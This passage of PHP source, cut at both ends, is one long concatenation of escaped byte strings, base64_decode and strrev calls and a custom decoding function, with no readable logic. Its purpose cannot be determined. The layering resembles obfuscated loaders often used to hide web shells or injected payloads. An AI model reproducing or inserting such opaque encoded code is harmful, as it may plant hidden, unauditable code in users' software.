2d\x64\xb1\xe3\x1d\xee\xe7\x13\x5a\x5\x1c\xba\x2d\x1e\x51"."\21\27\212\6\61\117\200\36\361\141\225\332\53\355\336\345\111\201\152\60\0\367\150\374\45\135\143\60\245\272\306\313\163\375\125\260\145\121\250\45\130\333\74\34\212\5\232\25\326\160\320\320"."\141\357\236\163\240\236\120\104\15\43\311\132\225\225\160\241\10\250\252\35\256\43\125\125\370\142\361\151\302\172\335\316\27\44\107\174\206\111\54\305\233\371\245\22\142\332\216\20\42\40\134\61"."\x70\x75\x3a\xc9\x2b\x74\xe1\xd2\x32\xd3\x83\xf2\x2e\xf\xad\x86\x59\x83\x73\x30\x30\x95\x75\xe6\x9\x70\xd5\xf1\x71\xb7\x69\xb8\x9c\x2c\xac\xd6\xc5\x79\x33\x3b\xd2\xe6\x8e\xfc\xa0\x40\x9b\xe4\x4a\x1\x17\x56"."\330\7\311\271\123\326\331\74\304\146\323\314\231\226\252\213\336\144\164\313\342\347\316\361\224\256\130\71\75\101\134\202\52\340\310\116\111\232\272\45\174\210\303\330\223\335\26\13\332\51\341\164"."\102\366\245\333\120\307\6\271\220\265\143\172\32\216\21\32\272\310\365\0\161\221\117\134\234\222\256\15\220\323\40\61\163\324\103\240\253\40\324\24\342\103\43\101\211\304\260\160\236\213\17\137"."\104\235\235\114\147\40\306\143\304\140\114\320\175\134\311\33\231\65\133\365\174\306\40\47\116\113\305\201\22\360\31\124\1\235\177\237\342\52\47\217\72\76\245\54\202\304\316\65\276\154\16\231"."\37\65\322\62\351\26\47\216\2\256\340\43\127\351\156\114\41\213\76\342\225\157\133\41\334\41\211\322\375\16\346\116\221\306\146\203\245\6\302\117\10\364\100\12\373\315\263\34\237\160\306\103"."\352\304\122\225\127\70\307\110\152\362\305\126\311\13\375\211\62\246\220\51\27\270\335\155\310\236\62\174\302\377\60\137\56\47\363\211\302\27\276\341\334\37\13\354\335\252\324\226\126\16\57\74"."\217\322\321\220\246\201\44\320\40\131\340\112\215\150\104\223\201\361\177\130\302\35\51\265\231\71\216\2\357\307\141\263\207\323\46\44\270\202\167\62\7\175\12\105\240\254\117\307\267\275\350\335"."\233\40\167\36\211\12\122\27\173\137\135\250\115\162\0\75\16\111\51\131\256\36\0\371\7\363\104\351\364\325\37\214\352\202\353\243\142\344\162\335\127\26\22\44\226\174\211\24\222\310\262\253"."\14\101\107\172\21\10\146\76\5\331\2\307\20\57\150\211\250\115\210\335\104\230\120\142\130\161\7\171\147\245\200\204\330\110\146\112\370\311\125\145\330\70\316\43\247\133\364\244\25\46\373\14"."\104\271\171\210\131\245\200\37\62\41\14\4\350\317\362\114\322\213\32\16\130\227\324\155\356\6\12\123\101\166\305\23\267\131\272\350\235\341\4\166\120\362\370\252\15\350\370\56\35\123\313\24"."\31\364\100\127\212\73\7\115\304\307\147\261\110\133\224\235\361\340\70\326\155\251\321\140\375\162\176\334\302\123\33\3\113\334\51\41\254\233\14\54\52\231\314\65\146\70\235\154\115\325\150\4"."\253\26\203\341\106\127\201\130\23\367\26\354\114\123\303\241\226\305\45\63\220\150\322\54\25\241\211\241\170\260\331\235\346\254\41\26\14\104\231\53\153\34\257\13\107\352\245\354\120\244\170\44"."\270\354\303\23\251\142\222\46\372\117\257\350\70\203\354\212\152\320\346\50\271\22\153\60\274\152\347\324\312\205\35\253\52\53\72\374\13\175\123\270\342\215\222\53\351\42\361\70\311\26\143\76"."\65\356\4\314\267\130\42\55\6\61\277\317\7\37\341\1\177\207\237\371\32\363\213\114\370\25\360\23\135\74\6\134\307\307\250\343\46\107\103\135\376\115\230\47\1\237\373\302\233\312\156\271"."\61\312\252\165\63\173\206\20\75\305\125\143\313\143\174\256\234\151\16\214\244\70\55\233\165\270\200\321\337\126\31\24\133\14\225\4\164\240\264\343\2\267\234\344\63\114\261\132\304\262\116\232"."\211\2\166\25\45\346\110\134\367\106\111\76\107\25\210\240\367\11\355\0\254\312\30\133\275\131\304\53\201\31\327\43\251\165\121\123\350\224\305\341\346\226\110\353\251\321\130\274\155\311\322\145"."\313\301\273\145\15\103\232\156\305\313\164\41\340\144\327\77\240\345\375\3\354\331\200\45\170\323\241\133\176\131\230\343\211\250\217\330\5\62\363\336\106\125\30\74\27\123\17\177\351\54\132\233".base64_decode('P5O1q8eBaM3rXaZpj5O7pPnLK4bM9g6rk2NpUh+AoDC5s8RWC4QMr/x8AcZWWV5MdrmkAQ==')."\x48\x48\x73\x81\x4f\x92\x19\x44\x22\x77\x82\x4d\xa3\xc3\xba\x30\x54\x34\x7\x25\x27\xd2\x6c\xd1\xf4\x13\x7f\xa5\x6e\x67\xa7\xfd\x5e\xad\xcf\x91\x2f\x5c\x47\xf7\x7b\xd1\xf6\xd3\x11\x77\x39\x3c\x3d\x89\xd0\xf8"."\146\263\47\77\315\157\343\226\144\21\137\200\257\201\244\100\355\61\230\334\41\32\57\57\17\302\103\270\105\22\346\124\115\256\305\311\23\271\107\220\30\261\314\254\121\146\300\103\0\215\110\326".strrev(' "f:\'6`!<Ai}:S6({/?U|T*N')."\210\345\45\201\2\136\354\100\171\165\303\314\212\27\56\310\326\15\107\245\267\210\34\276\70\344\67\116\264\134\256\76\205\373\340\130\264\216\244\204\34\351\306\146\60\262\121\216\323\241\67\312".base64_decode('bqBSXZLDWyLEnbJ2S+5ai2pAEmA2yHwBFOUicdEQ2V/elmYyvBwYdgywGhivsNgqPGnIaw==').strrev('AH\'8glM @WGÉ{,֗[鑭]77Z')."\x1e\xe2\xc4\x53\xad\x62\x8\xe3\x47\x6d\xf3\x63\x1f\x8f\x44\xd0\xe5\x26\x73\x91\x18\x3b\x17\x72\xf6\x9e\x5a\x11\x49\x5b\x6f\x70\x33\xc7\x7d\x58\x73\xf\xd7\xc2\xd\x36\x55\xe7\xd3\xb0\xf0\xcf\x8b\xe4\xf5\x40"."\17\366\214\142\146\231\215\75\175\37\101\366\263\236\324\111\163\271\57\0\311\105\71\176\243\3\221\0\146\125\50\71\53\107\22\140\17\237\106\342\222\130\166\375\210\207\334\233\161\74\315\101"."\x27\xc8\xe9\x2\xdc\xd2\xf5\x3e\x66\x5\x89\x67\x5b\x50\x9a\x3c\xf7\xd4\x4e\x4f\x79\xbd\x25\x13\xbc\x92\x5d\x23\x5d\x4f\xd2\x93\xd\xf8\x73\xb0\xf1\x4f\xd1\xc7\x20\xa0\xbd\xf4\xe7\xb4\x52\xad\xf7\xe6\x85\xf3"."\x74\x34\x3b\xf4\x69\x89\xc5\xfa\x30\xf3\x47\xee\x22\x7f\x2e\x17\xe6\x1d\x8b\x3a\x9a\x3b\xe2\x72\x77\xed\xbc\xd6\xdd\x8d\x1a\x2b\x39\x75\x75\xb4\x45\x78\x4c\x7\x6c\x22\xcf\xac\xb0\x21\x18\xdf\xdf\x3a\x1c\x61"."\234\124\322\135\73\144\106\151\337\353\361\166\153\10\277\201\41\274\212\266\105\303\216\163\51\0\145\275\34\111\171\353\231\341\227\131\110\47\311\26\26\175\312\114\243\335\273\70\241\36\273\362"."\372\261\373\56\337\373\370\265\143\33\157\331\275\363\341\261\255\17\321\164\72\152\15\172\226\317\375\330\372\37\355\171\370\232\275\333\36\177\347\312\155\177\175\344\242\275\333\37\300\26\110\327"."\335\102\15\222\106\67\255\36\273\374\356\321\115\353\366\356\130\63\366\320\305\143\327\234\373\316\226\213\337\76\173\65\254\236\54\161\157\32\310\367\24\304\70\321\42\143\327\77\62\372\310\246"."\167\56\333\262\167\373\166\11\336\306\366\161\151\151\371\240\231\34\75\157\355\73\347\336\66\272\351\222\75\227\135\127\124\200\176\300\75\327\270\173\227\137\260\347\252\65\122\216\273\120\35\161"."\245\56\366\355\274\14\315\30\275\170\303\236\37\337\355\56\104\337\4\50\121\150\354\212\363\167\77\174\277\253\120\213\31\53\44\122\165\222\317\366\261\213\316\37\335\166\25\377\310\356\235\33".strrev('y3]w=ѹLGCچ=w=,m/Sb㈷').base64_decode('6MW3jt11054btvFqAaschsC4gntW771/7diV93NAvOyTioAhGEVhsMk/+eCeRy/Z8/BWjA==')."\x24\xeb\x56\xef\x59\xfd\xe0\xe8\xd6\xbb\x47\xaf\x39\x9b\x7f\x76\x74\xe7\x4e\x31\xca\x11\x3f\x79\xad\xac\x4\xc1\x3d\x15\xa7\x3\xc9\xed\x16\x26\xa3\xb9\x82\xf4\x60\x9e\x4c\xe4\xb0\x40\xc6\x2d\x3b\xb1\x66\x8a".base64_decode('Pt/A5Czy0gI89VPLFi0ax2ydmYSxP6MMkc+ymrJJFei3ssxThncdJI4JKE4g7SirmVRBAg==')."\225\340\230\151\204\135\43\24\56\232\305\302\3\175\355\102\104\75\244\363\314\205\204\25\141\106\67\315\77\315\317\230\337\302\176\374\105\361\100\127\33\347\71\342\5\4\312\175\350\313\52\354".base64_decode('0LNFtwfNvGxtze9+piTekbGAC9BHBYSyC1CPmhhevKEY6aBAF7VndoA/cO/o2vveufIuNw==').base64_decode('LNWmACwW0YpeeKT3REYv2Vz8PQLv/BoDHj1n657LXJDMrlaR1GaiAMF+Fx3hvEEuQvH9fw==')."\263\212\250\22\263\6\253\363\151\302\62\157\133\156\270\220\365\142\265\226\67\46\273\360\164\75\122\124\345\204\307\212\51\47\274\54\63\44\4\357\315\210\40\175\74\251\106\221\237\66\223\74"."\221\23\245\47\145\156\314\322\11\322\260\70\301\222\204\150\321\55\156\305\140\11\101\165\112\10\47\273\332\213\55\125\274\110\314\307\153\14\55\134\333\220\336\143\220\101\234\157\145\271\137\320".base64_decode('co8CKYK1pF759a4htD/D2fhNFi/WuXqN5Hg5gnCUbGoC3kAoBdJWMJLuTxKLHG+hwD5Ysg==').base64_decode('Unn3yABIJ0K8PvlZD6xk8/KjQ/erIWLHrRW/eLI8k1SmTa+ZObeGXZQ8iRkUFXLskgIKsg==')."\x17\x51\x4e\xf4\x77\x33\x5a\x23\xde\xbe\x62\x7d\xc3\x13\x2e\x3d\x21\xe3\x48\x16\xc3\xc8\x1f\xb5\x60\x44\xca\x1\x27\x5a\xeb\x78\xb9\xd\x3a\x4a\x15\x3e\xd2\x9b\x37\xe4\xc0\x87\x92\x28\x6c\x66\xa7\xf2\xb7\x81".base64_decode('SlBrtHVnchdIodIGlU9IDwvkObwmlkhXuk/0hNAXwPA+1FBT7JqIvCpRhkSqkO2rlTIV2w==')."\64\225\214\226\35\206\315\350\144\253\146\262\65\17\177\250\26\337\104\261\46\263\147\240\204\37\153\314\253\204\207\122\352\137\13\162\350\361\226\17\77\347\346\303\214\60\132\340\36\321\331\375"."\10\30\101\242\54\246\341\126\302\2\200\51\322\207\266\40\43\334\266\50\324\42\131\12\112\11\152\175\103\213\32\150\155\55\231\41\177\303\217\315\154\174\275\322\133\237\64\64\37\355\326\224"."\4\276\366\124\133\206\123\313\24\53\237\140\236\276\313\374\140\170\106\0\204\320\64\337\200\42\345\270\210\322\215\120\310\113\102\64\273\174\301\174\277\1\45\175\376\211\230\244\373\261\311\135".base64_decode('9iQ8wbIFEEltFO7LFGW+ptChrC0nxyvlSgqxfW5vvMBdmL/NNt+vyZl4cUVNtqXk2/gB7g==')."\xad\xb3\xe4\xc9\x5a\x40\x72\xff\x4f\x9e\x51\xaa\xd7\xb2\x4b\x8a\x8b\xe0\xca\x7d\x9\x39\xab\x9d\x5e\x79\xeb\x94\xa7\x8f\x5c\x36\x2b\x2e\xed\x27\x8a\x24\xbf\xd0\x5f\xa8\xf4\xd\xd3\xd2\xe7\x92\xfc\x38\xae\x4"."\x62\x60\xdb\x19\x84\xf3\xcc\x68\x41\x4b\xf4\x61\xac\x13\x2c\x2\x9a\x1\x19\xad\x58\x1b\x41\x33\x1c\xf\x9e\xd8\x92\x11\x54\x1\xdf\xb9\x24\x87\x3b\x79\xf1\x2c\xdc\x19\x67\xd0\x8a\xf0\x43\x38\xab\x56\x15\xa7"."\x81\x59\xb5\x3b\x2b\x90\x33\xdc\x49\x18\x83\xdc\x69\x58\x2b\x24\xd2\x10\xaf\x73\x7e\x86\x62\xaf\xc\x24\x52\x18\xc\xfd\x15\x65\xc2\x2d\x8b\x44\x84\xee\xe7\x1d\x99\xed\xcc\x20\x8a\xc4\x3a\xda\xcb\x7d\x53\x56"."\255\362\33\314\370\220\231\70\261\262\76\16\115\343\35\76\47\74\352\11\14\75\7\204\4\67\44\225\143\117\201\105\170\230\177\212\270\47\312\215\14\25\154\171\130\133\273\240\235\213\127\235"."\x2c\x4f\x25\xca\x14\x79\xee\x98\x78\x6a\x54\xcf\x61\x48\x81\xf6\x8f\xf1\xa5\x3c\x58\xdf\x22\x4\x70\xbe\x2e\x28\xa5\xf1\x11\xb5\x5e\xc0\xe9\x4b\x7c\xa1\x78\x39\x4f\xa6\x4d\x34\x1c\xc8\xe5\x1c\x24\x85\x45\xf0".base64_decode('SVfa6PJzOkBPv3wJcRGTgRAq5ErHNoOuDHz3jCQPIBJq5jnd4umoLp4IaI5pi0RKePZ8Kw==')."\x91\x37\x72\xb6\x83\xae\xd1\x87\xa0\xcb\xc8\xfb\x6b\xbd\xda\x80\x46\x41\xca\x14\x50\xd9\xd5\x96\x91\xe7\x33\xca\x10\x1d\xa3\x39\x8c\x98\xf1\x6\xce\xc7\x5f\x43\x32\x71\xba\xb6\x8c\x74\xc2\x4a\xe9\x3a\x2a\x4f".base64_decode('aFWpj6CCZQqjphmNj2PeNhET5Vf+4E3LtijcUQq0wJnjxNPp76SJDJPIg5tpJCyTGxiEbg==')."\21\211\274\33\253\142\51\20\274\255\331\32\215\304\43\365\354\351\72\247\316\226\246\315\140\273\13\213\136\151\25\33\62\166\217\216\233\30\61\10\56\126\370\41\5\260\41\137\310\146\271\315"."\47\306\127\316\373\152\113\377\151\47\307\242\172\262\163\234\174\245\135\143\207\246\100\135\351\51\160\54\125\260\5\373\305\357\163\304\361\365\174\13\222\45\357\246\330\267\252\236\364\265\123\167".base64_decode('ArVV7BYVszAV1zwZpJyjYNbQyUcdrX8/kE+xssrxOR+8KVXuKa/wTaksL86htrzOfGwSpw==').base64_decode('nhJDmfCCE7B4cluxPhwKtsTVEHD36mmzfVXiCqFhCU/FNFwvO0nAo+pzdKvE0NCDlji3RA==').base64_decode('1bMONSwd0rTJ/NhOq6qq8lZVo//Z1QrmPbOGOe6RQKqqasj/NIM8zwYo6MxBJJHRcgAY1A==')."\231\313\24\340\235\150\213\134\140\202\150\173\75\276\115\252\340\246\301\264\10\113\132\204\175\304\275\54\43\253\216\327\77\25\162\350\17\61\335\75\10\334\232\2\360\231\35\13\120\237\341\214"."\125\242\206\364\220\101\201\366\362\53\317\10\114\254\232\171\364\266\171\55\157\124\60\233\154\227\77\346\143\203\113\23\205\277\174\57\313\360\312\157\326\100\41\112\350\304\101\241\243\151\250\214"."\323\157\55\116\101\222\115\202\367\23\47\110\52\132\54\334\112\276\170\161\124\76\17\44\331\374\336\60\211\245\271\363\22\34\155\341\65\321\247\221\350\355\135\30\303\22\253\60\145\16\252\102".base64_decode('NsHRU3iMDCneZjI0TEp3u/G4Mp4kgXOrNWHyAxZMxE9Hn+H0GKJKReWxnYcBWU/izpK4Ig==')."\x44\xbf\x2\xfc\x81\x28\x6a\xb4\xcc\xda\xa6\x0\x45\xa1\x51\xe2\x3d\x9f\xbe\x39\x4c\x14\x37\x35\x87\x15\x4d\xae\xed\x9e\x58\x32\x47\x8e\x13\xd\xb7\xa9\x20\x8b\x49\x33\xc5\xe\xb9\x62\x5f\x61\xcd\xc7\x52\x82"."\54\201\36\317\325\163\247\265\122\5\356\54\127\231\0\75\33\53\52\0\351\305\320\344\10\261\4\64\116\167\101\23\367\264\365\334\13\267\354\263\226\352\234\44\253\61\13\336\15\21\46\73"."\254\216\1\151\7\352\313\345\315\36\64\353\226\74\150\50\275\265\164\62\7\57\206\54\1\304\133\57\303\311\211\370\260\222\75\146\16\350\54\134\45\150\111\316\34\45\120\261\41\224\22\235"."\xab\x59\xca\xa8\xe7\xef\xb8\xc9\x89\x78\x47\x2b\x1b\x69\x91\x5d\x85\xb3\xe\xbc\x55\x76\xa6\xf0\x96\x7d\x9\xd2\x31\x15\x87\xd\x2f\xdd\xcb\xb6\xcb\x14\x4c\x50\x24\xac\x7e\x92\x1f\xab\x54\x1d\x68\xc2\x70\x95"."\xd9\x84\xe1\x11\x12\xd6\x17\xce\x74\x9a\x46\x95\x10\x8e\x13\xe0\x38\x21\x74\x69\x3d\xe\xcd\x1\x52\x48\x16\x15\xae\x20\xcc\xde\x62\x8e\x39\x5c\xbc\x3\x9a\xd6\x30\x59\x44\x2e\xe6\xcc\x7b\xeb\xbc\x4b\x58\xe0".base64_decode('UgaFh5U/GyqfteEhVWX9EF7RTfxt9xKI6ES2IqwifBtXUMNJoRTDtbNjTrRLtqi204OTFQ==')."\372\106\270\202\137\76\77\321\71\77\305\5\340\65\65\23\111\217\330\3\266\134\10\327\325\346\42\121\213\35\24\221\267\225\212\156\314\236\125\231\354\233\6\266\266\223\331\123\52\224\36\13".base64_decode('0wo/dLsddasTbXUEN4EJaafUmNWJmwyhJJsfxcldJV6hyBUhrhtPYdVOp0KaOY88xFEiFw==')."\73\3\141\137\343\336\300\201\362\43\30\323\346\333\143\134\175\40\51\261\317\260\54\337\306\151\21\357\2\321\124\207\365\200\364\22\1\7\105\315\140\215\327\130\333\210\175\50\171\310\101\332"."\261\273\242\156\153\132\134\102\222\150\120\124\342\274\204\357\333\214\165\263\167\36\204\25\52\11\12\2\374\326\346\363\130\140\255\300\243\230\144\274\130\242\175\120\53\257\23\267\40\53\214\140".base64_decode('QYDJ6wkzn8QMUfKxk7Wjeo8cJYYKbDUIX/FyFdhxmUR28CoMJOyC7AZNek4CxaRnQyRB1A==')."\133\255\160\11\126\245\65\323\310\124\51\203\300\227\22\146\135\232\132\351\112\33\321\114\305\12\135\374\334\331\45\142\262\133\162\212\54\301\261\153\157\270\2\342\227\12\367\300\222\363\120\265"."\xd8\x8d\xbb\xe8\x99\x5c\x84\x7c\xb3\xa8\x8\xcd\xc3\x42\x94\xb8\x1f\x27\xe7\x58\xf8\x3d\x90\x36\x36\x8b\xa5\x72\x4a\x7c\x8a\x64\x49\x23\x9a\x60\x98\x6\xab\x7c\xb9\x18\x24\xc8\x18\xd6\x99\xf9\xb6\xb7\x7a\x9a"."\167\72\354\140\344\73\163\154\163\6\174\4\55\54\11\15\360\366\226\221\61\60\176\6\70\1\143\112\247\367\304\23\224\360\171\103\234\133\361\371\44\136\260\170\54\57\311\22\72\67\214\46".base64_decode('bqJksi6Mk6i9NAZoK5VPRwhnNzgs3F0AaH048+FlENEY6qnKdFgcuiqB52fkt09IKdEPcQ==')."\15\0\45\231\364\375\21\151\140\204\221\25\165\240\305\356\71\160\42\47\222\343\46\117\54\66\324\302\130\11\125\122\347\2\260\343\255\250\304\316\5\34\332\306\346\141\176\5\34\133\75\142"."\x26\xcd\xed\xda\x2d\x39\xc2\x72\x39\x72\x5a\x8e\x8\xb5\xf2\x74\x94\xe6\x49\x1c\x6a\x50\x67\x7e\x2\xd8\x4e\xbd\xb5\xa9\xd5\xcf\x93\xea\xf8\xf2\xa4\x8a\x12\xe1\x9f\xaf\x9e\x99\x52\xea\x43\x3a\x6c\xf0\x6\x33"."\x46\x42\x9\x47\x16\x85\xea\x3\xe1\x86\x50\x6c\xb1\xd2\x83\x4f\x5c\x85\xa9\x21\x6a\xae\x4a\x96\xad\x6a\x89\x37\x76\xc8\xa3\x42\xce\x5\x4e\x74\xc7\x74\x3a\x18\xae\x77\xf1\x7\x6e\x70\xd0\xdb\x85\xf6\x11\xde"."\x24\xdf\x6b\x59\x62\x57\x45\x7a\x8\x95\x89\xd7\x0\x9d\xd5\x52\xac\xd4\xf3\x45\x35\x66\xf1\x75\xbe\x74\x51\x19\xac\x11\x2f\x1\x9d\x16\xfa\x5f\x9\x38\x97\xd7\x8b\xe1\x87\x75\x6c\xf2\x28\xb5\x58\x2a\x50\x28"."\xd1\x1a\x80\x2f\xfd\x5\xf2\x2a\x91\xc\x8d\xc4\x23\x3d\x3b\x5e\xe3\x8d\xec\x80\x61\x19\x82\x1c\xb0\x12\xc3\x72\xed\x81\x86\xe6\x50\x8b\x1a\x8\x87\x23\x4b\x1d\x96\xc2\xe2\x2c\x20\xcf\x15\x29\x49\xf9\x85\x28".base64_decode('aWbEJNCvFzuHBFd88usbLuUKnT7Zy2iOHW7By7X8xRgalV5wy+U1w9KlBPrY2BS4Pael0w==')._kodDe('KuuCx0xG0dSoq9gzGcaZpAMWKILcBAMhAX5ey/MpQbaGlHNYhVsagvBxKJpAclKLr0dxTTA=')."\124\234\362\337\276\200\347\221\274\223\21\377\153\354\251\115\223\154\233\100\246\247\151\241\210\112\35\221\211\117\40\51\46\77\234\223\117\150\375\111\250\1\173\112\15\262\323\100\34\21\373\26"."\xc\x5\x95\xe0\xaf\xd0\xdd\x2c\xda\xa4\x63\x85\x22\xdb\xe1\x30\xe5\x1c\x22\x23\x30\xe0\xe\x33\x4b\xd7\x13\x7e\x6e\x83\x79\xc7\x3\x7d\x45\xdf\x20\xef\xc5\xd0\x3c\x72\x32\x85\x20\x3b\x45\x9f\x50\x8c\xbf\xf"."\45\212\272\163\112\64\0\145\53\102\345\305\1\224\132\245\212\276\46\311\337\376\121\346\63\117\20\342\3\304\333\141\60\223\263\35\73\375\46\371\362\214\64\45\64\1\353\177\362\134\201\107"."\347\234\105\361\304\326\262\311\124\145\336\111\350\260\330\377\141\13\114\63\63\134\224\340\320\216\205\131\157\270\55\64\176\57\51\333\155\312\243\116\350\71\276\77\105\337\212\245\212\10\17\332"."\x8f\xe8\x76\xf1\xab\x73\xb4\xf8\xff\x4d\x41\x9a\x19\x93\xdc\xde\x3a\x2b\x29\x6e\x90\xe5\xe6\x9f\x42\x96\xc3\xf\xea\xa5\xcc\x41\xe7\x3\xb2\x38\xc5\xfd\x84\x9e\xe3\xf1\x3c\x69\x85\x11\xbf\x6\xf2\x73\x7f\xce".base64_decode('Qp6id6sU8va3gogRzD224WEbXQIsfXoy/emAX8YN3Y2gdA4+WclRsT5lpJN5bp0lEpp1oQ==')."\175\40\245\20\141\311\151\354\215\163\362\270\146\3\43\351\360\124\126\251\167\25\261\217\123\347\213\137\342\41\65\301\172\235\17\113\361\363\177\113\54\41\313\166\74\145\26\67\343\132\217\207".strrev(''."\r".'-.ͤK9>tΞCi:'."\0".'$ >I4ɔ |e,7V"&*')."\333\166\171\264\105\323\31\13\161\200\321\44\277\226\313\211\363\20\231\343\242\177\35\27\251\41\257\55\336\244\22\247\42\52\65\132\210\11\234\223\316\50\151\42\234\127\26\262\41\172\56\343"."\x48\xcd\x4b\x9b\x47\xd9\x61\x34\x3d\xab\x11\xf7\x71\x1\x1c\xb5\xb3\x95\x1e\xce\xc2\x80\xc9\x55\xb2\x3\x73\xae\x67\x47\xf4\x88\xef\xb1\xfd\xc5\x7\xec\xd8\xea\xc\x28\xa\xb6\xf2\x61\xe6\x55\x7d\x26\xd9\xa3".strrev('$c\\p(gjq;ҩ%d)BRq؉ Q('."\0".'').base64_decode('92WRgBPrHW+tsndV2dKBR1VLvJQ67kOrHnH1+stekxMXfXNoKpyv5nLJgm9GivYz7q0MHw==')."\126\127\201\250\173\220\343\146\261\322\131\230\40\70\236\201\225\172\15\244\255\370\51\131\151\30\244\176\27\362\151\17\261\306\360\60\3\310\222\257\321\72\336\266\163\117\150\211\367\154\277\262"."\102\270\0\101\166\162\111\47\325\253\231\337\225\147\307\326\156\60\303\201\273\210\1\213\333\177\324\75\164\21\203\130\236\111\116\233\76\163\256\254\61\21\123\50\16\163\331\233\14\364\7\144"."\x1c\x81\x14\x8a\x13\xd\x15\xe6\x93\x5a\x5e\xfd\x24\xd3\x79\xa3\xa6\xf8\xe9\x63\x17\x7\xf8\xef\x16\x8c\xd8\x7c\x50\x50\xc9\x48\xb7\xf8\x91\xf8\xa2\x11\x20\x78\x2a\x99\x8a\x49\xc\xd1\x65\xf7\x63\x62\x53\x1c".base64_decode('S6w6ygLFg8fOb1HxoUQ/JL4nFgt9vNZM4417Bh8I2HnNuR8tte0iI8H2eFinK2JOyyhQ0Q==').base64_decode('iGxpXybXaJtu/RIujvki0ZVGsmlg29gvhVhtEiX6LyaQbbHobkyYhOHuO3bmzlHwn8zITA==')."\211\207\212\45\203\231\57\351\3\225\364\370\326\322\253\331\136\11\71\45\375\244\156\107\310\144\3\271\20\73\140\147\277\135\325\243\142\242\216\116\217\62\36\120\261\270\47\275\147\54\174\41"."\x4a\x82\x1e\x2e\xcd\x6e\x95\x8f\xa3\x40\x20\x97\x9a\x9d\x22\x93\xfc\xdc\x2a\xb9\x11\x2c\x9c\xf6\x90\xa5\xeb\x58\xc6\x92\xb\x78\xf9\x46\x2d\xa9\x48\x5e\x1f\xc5\x55\x4b\x8f\xd7\xa\xb5\x13\xd1\x53\x41\x8f\x60"."\161\23\13\12\322\314\300\42\176\37\133\223\354\373\234\272\60\20\356\244\227\327\321\360\111\217\223\233\162\130\172\24\31\361\204\10\273\73\201\232\343\330\306\242\170\203\353\341\172\102\277\334"."\xaf\xd9\xb3\x31\x23\x44\x43\xd0\x43\xe9\x9e\xbf\x63\xab\xc4\xdf\xf3\x74\x6c\x9d\x2c\xf7\xa3\xbe\x48\x14\x74\x3c\x52\x92\x2c\x7a\x7\x1d\x8\x27\xb9\x3d\x47\xbf\x26\xb1\x5e\xc1\x65\x45\xa8\xa5\x90\x11\x11\x49"._kodDe('Kz+WTunGLwHUbvRm7/vEV9lltOiwcEDGjc4j7wnSovCm6HLgfx2/7pnoui7mfnErM8l69tU=')."\126\256\353\240\172\147\127\77\234\354\365\120\300\42\64\370\276\1\101\124\110\234\133\220\63\257\217\314\31\244\306\316\337\264\164\132\142\302\245\267\63\105\217\214\43\344\353\343\17\123\227\212".base64_decode('uO8Gux8cbydqX/aWeGcpQEGX+K6pBB7TJCYsC5qUNRJ9JQ7PiZWs8w0CSTgpAhNtQDIMcw==')."\247\351\147\241\4\336\56\22\327\61\60\172\362\365\376\110\216\155\54\53\201\13\164\236\314\250\25\161\51\2\104\113\46\124\216\244\42\362\26\167\314\211\43\121\36\156\101\203\174\154\72\35"."\x25\x9a\x5d\xef\x27\x53\x20\x4b\x1e\x5b\xc7\x79\x41\xb1\x2d\x45\x71\x69\x4e\x7\xe4\x22\xd8\x70\xdf\xa9\x1a\xc3\x13\x8c\x1b\xe6\xad\xf2\xba\x12\xaa\xbd\xae\xea\xf8\x13\xd2\x4e\x5c\x77\xbc\x69\x4c\xed\x4f\xd0"."\2\211\142\25\10\123\205\221\43\47\162\366\354\55\56\103\361\72\46\140\306\131\131\245\327\67\157\224\120\7\342\220\74\36\214\116\264\346\115\42\50\72\123\271\132\110\262\227\116\110\72\127"."\267\354\107\223\47\373\212\270\26\43\231\216\231\302\6\173\342\250\63\36\211\6\325\245\41\354\212\42\164\132\260\215\71\121\66\114\362\306\11\253\262\255\271\202\334\132\203\5\200\166\61\215"."\xa6\x40\x25\x3d\xc1\xdf\x5c\xc3\xb\x56\x78\x2\xb6\x33\xb9\x7a\x7e\x30\xeb\xbc\xfb\x2c\xdd\x90\x60\x7e\xb8\x64\x95\xa4\x13\x18\x5f\x73\x71\xae\xc5\x5\xa5\xc0\x12\x66\xde\x92\xdd\x68\x3a\x32\xb1\xd8\x65\xa2"."\xdc\x28\xdb\x47\xb7\x65\xd1\x42\xd6\xf1\x63\x6a\xa\x66\xe0\xe\x99\xbe\x7d\x46\xd5\xf4\xce\x2f\xab\x65\x6\x7b\x15\x10\x41\xce\xf8\xa\x48\xd8\x5c\xc4\xa6\x7b\x99\x6d\x2f\x83\x29\x59\xce\xa4\x7e\x73\x4a\xe5"._kodDe('K88UzH8XAQIFq9e5Emdcl+uEnZdH5P34wRciJoAgKrBZIANsTyeLkn9qfu+ajOeasOB179k=')."\xd8\x79\x17\xbe\x9c\xe1\x27\xf8\x7\x9a\xed\xe5\x6a\x46\x65\x66\x44\x58\x27\x20\x34\x3b\x84\xe2\x16\xef\x9\xe1\x4b\x76\x7e\x38\x92\x8f\x66\xf8\x9d\xc\xa2\xcd\xa1\xa\x1a\x87\x9e\x6\xac\x5\xe4\x24\xe9\xf4"."\34\155\266\222\316\47\305\110\46\111\146\336\272\241\6\351\374\327\171\374\316\357\263\26\361\277\202\21\226\262\111\51\346\365\25\375\342\253\371\41\341\72\211\144\323\63\254\300\200\306\275\223"."\xb9\x4b\xb5\x39\x36\xb2\xd2\x61\x7d\x82\x50\x88\x60\xf1\x79\xac\x38\x26\x96\xa4\x47\x56\xc\xef\x84\x5\x63\x77\xa5\x4b\x14\x55\xf0\x3c\x6d\x40\xc8\xc2\x62\x2f\x96\x4c\x36\x6a\x3\x25\x40\x93\xba\xdb\xbb\x1c"."\x4a\xe1\xa0\x44\x96\x96\x7c\x6a\x88\x8b\x32\xfa\xa0\xfc\x75\x80\x13\xf7\x58\x1c\x80\xc5\xa9\xc2\xe7\x86\x54\x5e\x9c\xc1\x89\x6e\xe2\xb4\x52\xdd\x27\x14\xce\x59\x5c\xf6\xe9\xc1\x91\x4a\x24\xd1\x27\xa3\xb8\x65".strrev('Xt 